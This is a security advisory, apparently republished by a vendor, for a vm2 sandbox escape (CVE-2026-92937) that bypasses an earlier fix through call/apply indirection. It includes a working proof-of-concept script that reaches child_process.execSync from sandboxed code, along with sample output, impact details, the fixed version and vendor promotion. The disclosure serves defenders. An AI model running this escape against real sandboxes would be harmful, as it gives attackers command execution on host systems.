Summary
vm2: GHSA-m283-3h24-438v fix bypass leads to host RCE via call/apply indirection
Untrusted JavaScript run by vm2 can escape the sandbox and execute arbitrary commands in the host Node.js process when an embedder-exposed host Promise rejects. This is an incomplete fix for GHSA-m283-3h24-438v: the advisory's capability-bearing rejection rebuild runs only through this direct Promise-handler path, so call/apply indirection bypasses the protection it introduced. The bridge sanitises host rejection values before sandbox callbacks run, but the gate at lib/bridge.js:1624 identity-checks only the direct call target. Registering the rejection handler through Function.prototype.call indirection, p.then.call(p, undefined, cb), makes the intercepted target host Function.prototype.call, so the sanitiser never runs and the raw host error reaches the sandbox (lib/bridge.js:1639) without the rebuild that strips host references carried by its own properties (lib/setup-sandbox.js:2104). A rejection error whose own property references a powerful host object, for example err.detail = process, therefore reaches sandbox code as a fully functional proxy, and e.detail.mainModule.require('child_process').execSync(...) executes with host privileges. The .apply form and a stacked call.call behave identically.
PoC
Save as poc.js and run node poc.js:
const { VM } = require('vm2');
const vm = new VM({ sandbox: {
fetchUser: async () => {
const err = new Error('db connection failed');
err.detail = process; // embedder-attached host reference
throw err;
},
}});
vm.run(`
const p = fetchUser(1); // proxy of the host Promise
p.then.call(p, undefined, (e) => { // .call indirection skips the sanitiser
e.detail.mainModule.require('child_process')
.execSync('echo vm2-escape-proof > /tmp/poc.proof');
});
`);
Observed output
$ cat /tmp/poc.proof
vm2-escape-proof
Registering the same callback directly, p.then(undefined, cb), strips detail and no command runs; the bind and Reflect.apply forms are sanitised as well, isolating the bypass to call and apply indirection.
Impact
Any deployment that evaluates attacker-controlled code with vm2 and exposes a host-realm Promise to the sandbox is affected: an async host function bridged through the sandbox option, or a NodeVM external module's async method. If that Promise rejects with an Error carrying a non-primitive own property that references a host object, a diagnostic pattern the vm2 codebase itself documents as routine for Node libraries (lib/setup-sandbox.js:1877), a single submission yields arbitrary command execution in the host process with the host account's privileges, including file read and write, process spawning, and network access. In a multi-tenant service evaluating untrusted code, one submission compromises the worker process and every tenant it serves.
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
CVE-2026-92937 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.7); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-92937? CVE-2026-92937 is a critical-severity code injection vulnerability in vm2 (npm), affecting versions = 3.11.6. It is fixed in 3.11.7. Untrusted input is evaluated as executable code within the application's runtime environment.
- How severe is CVE-2026-92937? CVE-2026-92937 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of vm2 are affected by CVE-2026-92937? vm2 (npm) versions = 3.11.6 is affected.
- Is there a fix for CVE-2026-92937? Yes. CVE-2026-92937 is fixed in 3.11.7. Upgrade to this version or later.
- Is CVE-2026-92937 exploitable, and should I be worried? Whether CVE-2026-92937 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-92937 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-92937? Upgrade
vm2to 3.11.7 or later.